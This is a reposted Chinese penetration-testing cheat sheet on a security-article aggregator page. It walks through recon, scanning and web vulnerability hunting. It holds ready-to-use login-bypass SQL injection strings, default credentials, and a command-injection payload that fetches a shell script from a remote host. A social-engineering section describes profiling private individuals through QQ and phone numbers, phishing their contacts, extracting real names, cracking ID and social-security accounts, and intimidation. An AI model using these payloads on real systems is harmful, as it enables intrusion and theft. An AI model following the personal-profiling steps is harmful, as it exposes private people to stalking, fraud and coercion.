Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:18849 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
干货 | 渗透测试全流程归纳总结
本文来自公众号:HACK学习呀   2021.02.18 11:26:43


写在开头:

知识面,决定看到的攻击面有多广。

知识链,决定发动的杀伤链有多深。


0x00 信息收集

从旁观者的角度了解整个WEB应用乃至整个目标的全貌,但是资产是收集不完的,可以边收集,边进行一定程度的测试。信息收集最小的粒度应是 目录

1.目标确认

1.1域名注册信息

通过如下步骤确认目标所有者信息:

Whois 目标域名/主机名:whois example.com

解析目标域名/主机名的IP地址:dig +short example.com

获取域名的详细解析过程:dig +trace example.com

后续用于字典制作和进一步收集目标信息的基础

获取真实IP:

浏览器切换手机模式,可能是真实ip,公众号、小程序中的资产也可能对应真实ip。

验证是否存在CDN

方法1:

使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:

http://ping.chinaz.com/

http://ping.aizhan.com/

http://ce.cloud.360.cn/

方法2:

试用nslookup进行检测,如果返回域名解析对应多个IP,那么多半是试用了CDN.

nslookup example.com

方法3:

在线工具查看是否存在CDN,可以参考以下站点:

http://www.cdnplanet.com/tools/cdnfinder

http://www.ipip.net/ip.html

绕过CDN查找网站真实IP

1.查询历史DNS记录(ip的历史解析域名,域名的历史解析ip)

查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:

https://dnsdb.io/zh-cn/

https://x.threatbook.cn/

https://censys.io/ipv4?q=baidu.com

非常牛逼的IP记录站,还能分析内链之类找出可能的IP地址,此外还会记录历史。

viewdns.info

同样是个令站长十分蛋疼的DNS历史记录网站,记录了几年内的更改记录。

securitytrails.com

https://site.ip138.com/

庞大的DNS历史数据库,可以查出几年内网站用过的IP、机房信息等。

iphostinfo.com

注意:这个网站可以遍历FTP、MX记录和常见二级域名,有些站长喜欢把邮箱服务也放在自己主机上,侧面泄露了真实的IP地址,通过这个网站可以进行检查。

2.查询子域名(捷径,去众测平台、github找官方发布过的)

注意:有可能有些站长只给主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一台服务器上,或者 C段中,这样可以通过子域名来辅助找到网站真实IP

爆破子域名:

主动式

layer子域名挖掘机(字典要自己丰富)http://z.zcjun.com/(在线子域名挖掘)fuzzdomain 很好用,速度快

被动式

搜索引擎拿子域名、旁站(同IP网站)、C段:可用搜索引擎语法查询子域名:谷歌、百度、bing、搜狗(搜索微信文章)、雅虎等略有差异

详细用法:

(1)site: =主域名,搜索其主要域名下面的子域名(2)allintext: = 搜索文本,但不包括网页标题和链接(3)allinlinks: = 搜索链接, 不包括文本和标题。(4)related:URL = 列出于目标URL地址有关的网页。(5)link:URL = 列出到链接到目标URL的网页清单。(6)使用“-”去掉不想看的结果,例如site:baidu.com -image.baidu.com

百度语法:

https://www.cnblogs.com/k0xx/p/12794452.html

谷歌语法:

https://blog.csdn.net/u012991692/article/details/82937100?biz_id=102&utm_term=Googlehack&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-82937100&spm=1018.2118.3001.4187

GHDB:

https://www.exploit-db.com/google-hacking-database

3.资产搜索(旁站\C段\特征):

https://www.shodan.io(资产相关或特征值关键字爆ip)https://fofa.sohttps://www.zoomeye.org/http://www.yunsee.cn/info.html (云悉在线资产平台)http://subdomain.chaxun.la (查询啦)https://www.virustotal.com/gui/home/searchhttps://dnsdumpster.com/https://duckduckgo.com (一个不会存储你个人信息的搜索引擎)https://crt.sh/(SSL证书查询)https://icp.aizhan.com/(域名备案)

4.对方服务器给自己发邮件暴露IP

5.APP客户端爆ip

1.2DNS信息查询

目的:

注册者名称及邮箱,再反查其他域名

手机号 座机号

ASN号

地址在线DNS信息查询工具

https://dnsdumpster.com/https://www.dnsdb.io (DNS搜索引擎)http://searchdns.netcraft.comhttp://whois.nawang.cn/https://whois.aliyun.com/https://whois.west.cn/http://whois.chinaz.com/ (站长之家)https://www.tianyancha.com/ (天眼查)http://www.gsxt.gov.cn/index.html (国家企业信用信息系统)www.beianbeian.com/ (ICP备案查询)

1.3测试域传送漏洞

域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。

dnsrecon -d example.com

dnsenum example.com 包含自动检测域传送漏洞

1.4业务相关

github泄露:

in:name test #仓库标题搜索含有关键字 SpringCloudin:descripton test #仓库描述搜索含有关键字in:readme test #Readme文件搜素含有关键字stars:>3000 test #stars数量大于3000的搜索关键字stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字forks:>1000 test #forks数量大于1000的搜索关键字forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字pushed:>2019-02-12 test #发布时间大于 2019-02-12的搜索关键字created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字user:test #用户名搜素license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字language:java test #在java语言的代码中搜索关键字user:test in:name test #组合搜索,用户名test的标题含有test的     

网盘泄露:

各种云网盘,详见虫部落搜索:

magnet.chongbuluo.com

敏感路径扫描:

https://github.com/ring04h/weakfilescan

2.OSINT 公开情报收集

2.1社工技巧

查看注册的网站 :reg007

知道账号去已注册的网站找回密码,可以看到打码后的用户名、邮箱、真实姓名等信息,如果运气好没准能从数据包或html中找到未被打码的信息

可以从这些方面判断用户是否注册过

找回密码

输入账号,如果进入下一步了则该账号存在

登录

输入账号和密码,如果提示密码错误,则表示该用户已存在

注册

填写账号时一般网站会去检测该账号是否已存在,如果已存在则会提示不可重复注册

知道QQ

通过QQ邮箱和QQ号搜索支付宝、淘宝账号等其他可能的常用平台

去腾讯\新浪微博搜索

通过微信搜索

查看QQ空间\相册\地区\星座\生日\昵称(后续构建字典以及跨平台搜集)

通过说说、留言、日志找到其好友

加QQ钓鱼\共同好友\可能认识的人

知道手机号

搜索QQ、微信、钉钉等社交账号

在比较火的一些APP和网站上注册或忘记密码来判断是否注册过账号

查询支付宝、QQ交易账号,尝试输入常见姓氏获取名字(转账到该手机号,会提示输入姓氏验证)

通过对方的职业、兴趣找到该领域知名度较高的社交网站反查

根据在QQ空间、朋友圈等动态用百度识图识别照片

在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选

留意社交动态

发布时间线

使用什么客户端 iPhone Android还是浏览器

针对客户端预先制定exploit

注意每一条链接 / 图片 / 视频链接可能包含用户ID

图片可能包含水印,exif可能会有GPS定位和手机类型,图片内容特征

视频也有可能有水印暴露社交账号ID,拍摄地点

从最早发布的动态看起,会有很大收获

一般得到一个账号的密码就相当于得到了其他账号的密码

一般人不同账号的用户名都是相同或相近的

一般人的社交账号头像用的都是一样的

尝试破解社保、公积金账号、身份证号(出生地、生日、星座、派出所代码)

虫部落快搜之文件搜索: https://search.chongbuluo.com/

qq群、群文件、贴吧论坛、目标自用论坛等社交平台

钓鱼 信息泄露 (爬邮箱等信息)

电子邮件伪造、网络钓鱼

下载恶意程序

输入敏感信息

大部分信息可以用来生成密码字典

对人:说服对方达成一致、恐吓对方(敏感词、漏洞、病毒、权威机构名称、),钓鱼获取信息

2.2搜索引擎OSINT

Google Hacking (baidu\bing\souhu\github)

GoogleHacking常用语法

1、intext:(仅针对Google有效) 把网页中的正文内容中的某个字符作为搜索的条件2、intitle:把网页标题中的某个字符作为搜索的条件3、cache:搜索搜索引擎里关于某些内容的缓存,可能会在过期内容中发现有价值的信息4、filetype/ext:指定一个格式类型的文件作为搜索对象5、inurl:搜索包含指定字符的URL6、site:在指定的(域名)站点搜索相关内容  

GoogleHacking其他语法

1、引号 ” ” 把关键字打上引号后,把引号部分作为整体来搜索2、or 同时搜索两个或更多的关键字3、link 搜索某个网站的链接 link:baidu.com即返回所有和baidu做了链接的URL4、info 查找指定站点的一些基本信息  

GoogleHackingDatabase:

google-hacking-databaseGoogleHacking典型用法(特定资产的万能密码也要积累)

管理后台地址

site:target.com intext:管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 | login | systemsite:target.com inurl:login | inurl:admin | inurl:manage | inurl:manager | inurl:admin_login | inurl:system | inurl:backendsite:target.com intitle:管理 | 后台 | 后台管理 | 登陆 | 登录

上传类漏洞地址

site:target.com inurl:filesite:target.com inurl:upload

注入页面

site:target.com inurl:php?id=(批量注入工具、结合搜索引擎)

编辑器页面

site:target.com inurl:ewebeditor

目录遍历漏洞

site:target.com intitle:index.of

SQL错误

site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:”Warning: mysql_query()" | intext:”Warning: pg_connect()"

phpinfo()

site:target.com ext:php intitle:phpinfo "published by the PHP Group"

配置文件泄露

site:target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini

数据库文件泄露

site:target.com ext:.sql | .dbf | .mdb | .db    日志文件泄露site:target.com ext:.log

备份和历史文件泄露

site:target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar

公开文件泄露

site:target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv

邮箱信息

site:target.com intext:@target.comsite:target.com 邮件site:target.com email

社工信息

site:target.com intitle:账号 | 密码 | 工号 | 学号 | 身份证

2.3浏览器实用插件:

Wappalyzer:识别网站使用的中间件及其版本,再去漏洞库和搜索引擎找公开披露的漏洞

SwitchOmega:快捷切换代理

shodan:识别开放端口,主机服务等(被动信息搜集)

hacktools:综合插件,很强大

firefox渗透便携版version48,工具集成很多

注意:根据获得服务、中间件信息、编辑器版本、数据库等OSINT去各大漏洞库、搜索引擎找漏洞利用

2.4乌云和cnvd

乌云库\乌云镜像\GHDB\CNVD等公开漏洞库

0x01 主动探测

从管理员和用户的角度了解整个WEB应用乃至整个目标的全貌,主动探测会暴露ip以及留下日志信息,所以要...

1.主动扫描

1.1常见服务漏洞

nmap的功能:

脚本扫描,隐蔽扫描,端口扫描,服务识别,OS识别,探测WAF

nmap脚本主要分为以下几类,在扫描时可根据需要设置

--script=类别这种方式进行比较笼统的扫描:--auth: 负责处理鉴权证书(绕开鉴权)的脚本--broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务--brute: 提供暴力破解方式,针对常见的应用如http/snmp等--default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力--discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等--dos: 用于进行拒绝服务攻击--exploit: 利用已知的漏洞入侵系统--external: 利用第三方的数据库或资源,例如进行whois解析--fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞--intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽--malware: 探测目标机是否感染了病毒、开启了后门等信息--safe: 此类与intrusive相反,属于安全性脚本--version: 负责增强服务与版本扫描(Version Detection)功能的脚本--vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
nmap --script=auth 192.168.137.*负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令nmap --script=brute 192.168.137.*提供暴力破解的方式  可对数据库,smb,snmp等进行简单密码的暴力猜解nmap --script=default192.168.137.* 或者 nmap -sC 192.168.137.*默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击nmap --script=vuln 192.168.137.*检查是否存在常见漏洞nmap -n -p445 --script=broadcast 192.168.137.4在局域网内探查更多服务开启状况nmap --script external 202.103.243.110利用第三方的数据库或资源,例如进行whois解析nmap --script banner ipnmap -p port -sV ip获取软件版本信息nmap -O ip操作系统信息,版本nmap -A -v ip完整信息获取-sN;-sF;-sX 隐蔽扫描  -sN是Null扫描,是通过发送非常规的TCP通信数据包进行探测  nmap -sN 127.0.0.1  -sF是FIN扫描,当我们使用TCP SYN扫描时可能会被目标主机的防火墙发现,会阻止SYN数据包  ,这时我们使用TCP FIN扫描方式会有很好的穿透效果.  nmap -sF 127.0.0.1扫描前1000号TCP端口nmap 192.168.100.2Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序)nmap –sP 192.168.100.0-7扫描80,443端口nmap -p 80,443192.168.100.2扫描前1000号TCP端口,OS指纹,服务,然后运行一个NSE脚本sudo nmap -A 192.168.100.2扫描全部65535个TCP端口,OS指纹,服务,然后运行一个NSE脚本sudo nmap –A –p- 192.168.100.2扫描前1000号UDP端口sudo nmap -sU 192.168.100.2扫描所有65535个UDP端口sudo nmap -sU –p- 192.168.100.2扫描所有65535个UDP端口,并获取服务、OS指纹,之后运行一些NSE脚本sudo nmap –sU -p- -A 192.168.100.2

nmap脑图备查 :

### 1.2常见端口漏洞利用  快速扫描:  Masscan-p80,800 ip --rate=1000021/ FTP  匿名/暴力破解  拒绝服务22/ SSH  暴力破解23/ telnet  Winbox(CVE-2018-14847)  https://github.com/BasuCert/WinboxPoC  弱口令 / 暴力破解161/ snmp  弱口令  https://blog.csdn.net/archersaber39/article/details/78932252389/ ladp  匿名访问  https://www.cnblogs.com/persuit/p/5706432.html  ladp注入  http://www.4hou.com/technology/9090.html  https://www.freebuf.com/articles/web/149059.html443/ ssl  openssl心脏出血  https://paper.seebug.org/437/  http://www.anquan.us/static/drops/papers-1381.html  https://www.freebuf.com/sectool/33191.html445/ smb  win10拒绝服务  永恒之蓝RCE875/ rsync  匿名访问  http://www.anquan.us/static/bugs/wooyun-2016-0190815.html  https://paper.seebug.org/409/  http://www.91ri.org/11093.html1433/ mssql  暴力破解  http://www.anquan.us/static/drops/tips-12749.  html  https://www.seebug.org/appdir/Microsoft%20SQL%20Server1521/ oracle  暴力破解  https://www.exploit-db.com/exploits/330842601/ zebra  http://www.anquan.us/static/bugs/wooyun-2013-047409.html3128/ squid3306/ mysql  RCE  http://www.91ri.org/17511.html  CVE-2015-0411  hash破解  https://www.freebuf.com/column/153561.html  waf绕过  https://www.freebuf.com/articles/web/155570.html  general_log_file getshell  https://www.freebuf.com/column/143125.html  提权  http://www.91ri.org/16540.html3312/ kangle  getshell  https://www.secpulse.com/archives/23927.html3389/ rdp  shift 放大镜 输入法绕过 guest用户  永恒之蓝(ESTEEMAUDIT)  https://www.freebuf.com/articles/system/132171.html  https://www.anquanke.com/post/id/86328  ms12-020  https://blog.csdn.net/meyo_leo/article/details/779505524440/ rundeck  https://www.secpulse.com/archives/29500.html4848/ glassfish  文件读取  https://www.secpulse.com/archives/42277.html  https://www.anquanke.com/post/id/85948  GlassFish2/ admin:admin GlassFish3,4/ 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误5432/ PostgreSQL  RCE  https://www.cnblogs.com/KevinGeorge/p/8521496.html  https://www.secpulse.com/archives/69153.html  默认账号postgres  参考  http://www.91ri.org/13070.html  http://www.91ri.org/6507.html5672,15672,4369,25672/ RabbitMQ  (guest/guest)5900/ VNC  https://www.seebug.org/appdir/RealVNC5984/ CouchDB  http://xxx:5984/_utils/6082/ varnish  CLI 未授权  https://www.secpulse.com/archives/10681.html6379/ redis  Redis未授权   ssh publickey   crontab   webshell   反序列化   开机自启文件夹写bat   参考   https://www.freebuf.com/column/170710.html7001,7002/ WebLogic  默认弱口令  weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic  反序列  CVE-2018-2628  https://www.freebuf.com/articles/web/169770.html  https://www.seebug.org/appdir/WebLogic9200,9300/ elasticsearch  CVE-2015-1427  http://www.anquan.us/static/drops/papers-5142.html  CVE-2018-17246  https://www.seebug.org/vuldb/ssvid-97730  参考  https://www.seebug.org/search/?keywords=elasticsearch9000/ fcgi  https://paper.seebug.org/289/9043/ WebSphere  Websphere8.5  https://localhost:9043/ibm/console/logon.jsp  Websphere6-7  http://localhost:9043/ibm/console  后台未授权,登录后可部署WAR包  SOAP服务有反序列化  弱口令:admin / password11211/ memcache  未授权  UDP反射  https://shockerli.net/post/memcached-udp-reflection-attack-bug/27017,27018/ Mongodb  未授权  注入  https://www.anquanke.com/post/id/83763  phpMoAdmin RCE  https://www.aqniu.com/threat-alert/6978.html50000/ SAP   SAP命令执行  https://www.secpulse.com/archives/20204.html50070,50030/ hadoop  未授权  https://www.freebuf.com/vuls/173638.html  命令执行  host:50060/pstack?pid=123|wget http://somehost/shell.sh  https://www.seebug.org/search/?keywords=hadoop  其他  http://www.91ri.org/15441.html'''

1.3WAF及bypass

探测WAF

Nmap探测WAF有两种脚本,

一种是http-waf-detect,一种是http-waf-fingerprint。

nmap -p port --script=http-waf-detect ip
wafw00f -a example.com
sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf

bypass: 手工注入,详见笔记

1.4目录、后台和敏感路径文件扫描

御剑目录(土司专版,笔记里有)、后台扫描(图片属性地址暴露),

完善目录和账密字典方法:

基础字典包合并去重

  dymerge.py -u
  python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt
  python pydictor.py -tool uniqifer /tmp/dicts.txt --output /tmp/uniq.txt

2.人工浏览\逐个请求burp

非常重要,有必要手动去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。

图片后台地址\图片后面的信息

跳转参数\奇怪的参数

泄露邮箱等社工信息

业务逻辑\架构

3.自动化

自动化渗透测试框架:(待补充)

Sn1per

Ary

自动化信息收集效率较高,从github上多找一找,也可以自己写

0x02 漏洞挖掘

1.漏洞扫描工具

注意:登录类网站扫描要带cookies扫才能扫到

1.1Nikto Web服务漏洞扫描器

Tips:利用-Format选项来导出特定格式的扫描结果,使扫描结果更容易阅读和分析。

nikto -host http://example.com -output ~/nikto.html -Format html
NIKTO使用方法:1、命令:nikto -update #升级,更新插件;2Nikto-list-plugins #查看插件;3Nikto-host http://1.1.1.1 #扫描目标:域名方式;4Nikto-host http://1.1.1.1 -output #扫描并输出结果5Nikto-host 1.1.1.1-port 80#扫描目标:ip地址加端口号6Nikto-host www.baidu.com -port 443-ssl #扫描https网站7Nikto-host 文件名.txt #批量扫描目标8、nmap -p80 192.168.1.0/24-oG - | nikto -host -      #利用nmap扫描开放80端口的IP段并且oG(nmap结果输出并整理)通过管道的方式“|”用nikto进行扫描9、nikto -host 192.168.0.1-useproxy http://localhost:8070      #利用代理进行扫描10、-vhost     #当一个网站存在多个端口时可以使用-vhost遍历所有网站进行扫描或一个ip对应多个网站11Nikto交互形参数配置文件:路径:/etc/nikto.confUserAgent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本;在nikto中最好修改成别的浏览器user agent;设置cookie:在配置文件中找到cookie进行设置(#STATIC-COOKIE= "cookie1"="cookie value";"cookie2"="cookie val"IDS逃避技术:主要为了躲避IDS、IPS检测告警-evasion #此参数使用方式(Nikto -host http://1.1.1.1 -evasion 1234)逃避方式共8种:1、随机url编码,2、自选路径,3、过早结束的URL4、优先考虑长随机字符串5、参数欺骗6、使用TAB作为命令的分隔符,7、使用变化的URL8、使用Windows路径分隔符

1.2AWVS漏扫

这个没什么好说的,破解版到处都是。

1.3NESSUS

实时更新插件的漏扫,很好用,就是激活流程麻烦。

https://www.wuyini.cn/765.html

1.4Xray自动化的漏洞挖掘

burp+xray:

BurpSuite + Xray 被动扫描配置 - Ritte - 博客园

或者直接挂浏览器,点到哪里,扫到哪里

xray+各种漏扫联动

1.5Fuzz

Fuzz可以发现应用程序中没有被引用但是确实是可以访问的页面。

Discover Content是Burp中专门用于此目的的工具。

Burp Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改),爆破、注入等。

FuzzDB包含一些用于此目的的非常牛逼的字典。

2.挖掘漏洞

2.1SQL注入:

初步测试:见框就上,加' " ) ))% and 1=1 and 1=2 and2-1 or ,

抓包爆破常用SQL注入payload字典,上burp intruder

纯手工注入和手工绕过waf,详见笔记。

通过搜索引擎,批量查找注入点,详见笔记。

然后用傀儡注入点批量搜集工具

实操案例: sql注入思路(登录界面)和网络常用端口_u011975363的专栏-CSDN博客

超级SQL注入工具(github)

sqlmap一把梭:注意:命令为kali linux中运行的 (windows中用python sqlmap.py执行)注入六连:1.sqlmap-u  "http://www.xx.com?id=x"查询是否存在注入点2.--dbs         检测站点包含哪些数据库3.--current-db    获取当前的数据库名4.--tables -D "db_name"获取指定数据库中的表名 -D后接指定的数据库名称5.--columns  -T "table_name"-D "db_name"获取数据库表中的字段6.--dump-C "columns_name"-T "table_name"-D "db_name"获取字段的数据内容COOKIE注入:sqlmap -u "http://www.xx.com/xxx.asp"--cookie "id=XXX   cookie"--level 2cookie注入 后接cookie值POST注入:1)目标地址http:// www.xxx.com /login.asp2)打开burp代理3)点击表单提交4)burp获取拦截信息(post)5)右键保存文件(.txt)到指定目录下6)运行sqlmap并执行如下命令:用例:sqlmap -r okay.txt  -p  username// -r表示加载文件(及步骤(5)保存的路径)-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)7)自动获取表单:--forms自动获取表单例如:sqlmap -u www.xx.com/login.asp --forms8)指定参数搜索:--data例如:sqlmap -u www.xx.com/login.asp --data "username=1"常用指令:1.--purge      【重新扫描(--purge 删除原先对该目标扫描的记录)2.--tables      【获取表名3.--dbs         【检测站点包含哪些数据库4.--current-db    【获取当前的数据库名5.--current-user  【检测当前用户6.--is-dba   【判断站点的当前用户是否为数据库管理员7.--batch      【默认确认,不询问你是否输入8.--search  【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)9.--threads 10【线程,sqlmap线程最高设置为1010.--level 3【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为511.--risk 3【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全12.-v   【详细的等级(0-6)0:只显示Python的回溯,错误和关键消息。1:显示信息和警告消息。2:显示调试消息。3:有效载荷注入。4:显示HTTP请求。5:显示HTTP响应头。6:显示HTTP响应页面的内容13.--privileges  【查看权限14.--tamper xx.py,cc.py   【防火墙绕过,后接tamper库中的py文件15.--method "POST"--data "page=1&id=2"【POST方式提交数据16.--threads number  【采用多线程 后接线程数17.--referer  ""【使用referer欺骗18.--user-agent ""【自定义user-agent19.--proxy “目标地址″   【使用代理注入sqlmap常用路径:1.添加表字段的目录在/usr/share/sqlmap/txt/common-tables.txt2.存放扫描记录的目录在/root/.sqlmap/output高阶玩法:自己写tamper.py

2.2XSS:

xss漏洞原理分析与挖掘方法 - 知乎

https://zhuanlan.zhihu.com/p/35315167

web漏洞 | XSS(跨站攻击脚本)详解

https://www.cnblogs.com/wuqun/p/12484816.html

XSS汇总

http://www.nxadmin.com/penetration/810.html

XSS小结 - 先知社区

https://xz.aliyun.com/t/2936

2020跨站点脚本[xss]速查表|雨苁

https://www.yuque.com/xiaogege-yxttw/btpqqg/lwzwei

XSSer自动化工具

https://www.freebuf.com/sectool/173228.html

XSStrike 自动化绕过WAF

https://www.uedbox.com/post/56316/

客服对话系统上XSS打cookie


2.3文件上传

字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder

文件上传绕过总结,详见笔记

目录穿越

上传后如果没有被文件重命名,可以在文件名值做目录跳转

注意一些像目录的参数名

dir path location url

文件头绕过

修改上传类型 Content-Type

双文件上传

截断

长文件名长Content-Disposition%00截断

特殊文件

svg / html / htm / swfxsspdfchrome 里可以跳转cer / asa / spx / php5 / phtml

可能会被当做动态语言解析

.htaccess / .user.ini / web.config / web.xml

修改解析规则

.xls / .xlsx

POI Excel XXE

.tar / .tar.gz / .zip

可能存在文件释放目录跳转问题

.pkl

python反序列化文件

.xml

可能有 XXE

.yaml / .yml

YAML 反序列化

.jar / .class

上传到 java classpath 的目录下,类被加载时执行代码

无大小和次数限制

无限上传制造垃圾数据堵死硬盘

有图片加工的地方可以注意一下imagemagick命令执行

文件读取

读取系统敏感文件

文件包含

可读取文件或代码执行

文件删除

删除配置文件可破坏网站删除安装锁可重装

文件解压

如果上传文件为 tar / tar.gz 类型,可以尝试构压缩包内文件名为../../../../xxx 的tar包

文件导出

如果是CSV 或者 Excel可以注意一下CSV注入 =2222-1 -1+1=2222-1 @=2222-1 \r\n=2222-1 111,=2222-1,

2.4命令执行

命令注入

--xxxx 参数注入| 和 | | 与符号& 和 && 与符号; 分号${}

代码执行

表达式freemarkerOGNLSpeljsel

非表达式(php)

evalassertcall_user_func() / call_user_func_array()preg_replace()create_function()array_map()array_filter()usort() / uasort()

反序列化

php 源文件拼接写java反序列化远程 jar 加载反射机制jsp 源文件拼接写入

2.5弱口令及字典破解

后台弱口令爆破撞库

(尝试万能密码、特定资产常用密码、弱口令后再撞库、有的数据库要输对用户名再注释

我的github有收集的字典 https://github.com/hackerX2021

asp aspx万能密码1"or "a"="a2')or('a'='a3or1=1--4'or 1=1--5:a'or'1=1--6"or 1=1--7'or'a'='a8"or"="a'='a9'or''='10'or'='or'11: 1or'1'='1'=112: 1or'1'='1'or1=113: 'OR 1=1%0014: "or 1=1%0015: 'xor16: 新型万能登陆密码用户名 ' UNION Select 1,1,1 FROM admin Where ''='(替换表名admin)密码 1Username=-1%cf' union select 1,1,1 as password,1,1,1 %23Password=117..admin' or 'a'='a 密码随便PHP万能密码'or'='or''or 1=1/* 字符型 GPC是否开都可以使用User: somethingPass: ' OR '1'='1jsp 万能密码1'or'1'='1  admin' OR 1=1/*用户名:admin 系统存在这个用户的时候 才用得上密码:1'or'1'='1pydictor、cupp、crunch字典生成工具、自写字典生成py(小黑的人名字典py);dymerge字典合并去重工具、自己写去重py;hydra爆破工具

tips:

超级弱口令检验工具

burpsuite 爆破

使用弱用户名对密码进行暴力破解

使用弱口令密码对用户名进行暴力破解

2.6逻辑漏洞

Cookie

一些网站会利用 Cookie 是否为空、Session 是否为 true 来判断用户是否可以登录,只要构造一个 Cookie 或 Session 为 true 就可以绕过认证登录

通过修改 Cookie 中的某个参数来实现登录其他用户,要抓包具体分析

数据篡改

数量、金额、ID、邮箱等数据:最大超过限制、负数、0、其他用户数据,提交后查看是否进入正常业务流程,是否存在越权

例子:修改普通用户密码,抓包Referer和 POST 中的普通用户改成 admin提交数据后,直接返回了 admin 的密码修改页面,利用逻辑漏洞获取超级权限抓包修改手机号参数为其他号码进行尝试,例如办理查询页面,输入自己的号码然后抓包,修改手机号为他人号码,查看是否可以查询他人业务手机号 篡改邮箱或者用户 篡改订单ID 篡改商品编号 篡改用户ID 篡改金额 篡改商品数量 篡改

验证码绕过

drop掉页面

返回包里可能就有验证码

一次验证码多用

验证码识别插件,burp

注册界面:

任意用户注册

可爆破用户名

注入

XSS

登录界面:

爆破用户名、密码

注入

万能密码

Xss Xss+Csrf

修改返回包信息,登入他人账户

修改cookie中的参数,如user,admin,id等

干货 | 登录点测试的Tips

忘记密码界面:

任意密码重置概要:

1.重置一个账户,不发送验证码,设置验证码为空发送请求。

2.发送验证码,查看相应包

3.验证码生存期的爆破

4.修改相应包为成功的相应包

5.手工直接跳转到校验成功的界面

6.两个账户,重置别人密码时,替换验证码为自己正确的验证码

7.重置别人密码时,替换为自己的手机号

8.重置自己的成功时,同意浏览器重置别人的,不发验证码

9.替换用户名,ID,cookie,token参数等验证身份的参数

10.通过越权修改他人的找回信息如手机/邮箱来重置

用户凭证暴力破解(验证码)

绕过的话,这里可以考虑一个现状:

例如:phone=18888888888abc国内很多情况下都没有过滤字符和限制输出长度,验证很有可能只是简单的处理只要更换手机号后面的字符,就可以绕过请求过于频繁的限制但是校验时,手机号后面的字符会被过滤,也就是可以利用暴力破解验证码(不计入次数)所以只要在暴力破解的同时,改变手机号后面的字符即可达到漏洞效果根据手机号找回密码,但是验证次数被限制,抓包可以尝试在手机号后面添加不为数字的字符,查看是否过滤根据手机号找回密码,随便输个验证码,抓包暴力破解验证码(假如只有四位),很快就可以破解出来四位或六位纯数字,验证码次数未限制例如:如果验证码次数限制,破解一会就会提示请求过于频繁,这时就需要绕过限制例如:通过密保问题找回密码,查看源码,密保问题和答案就在源码中显示

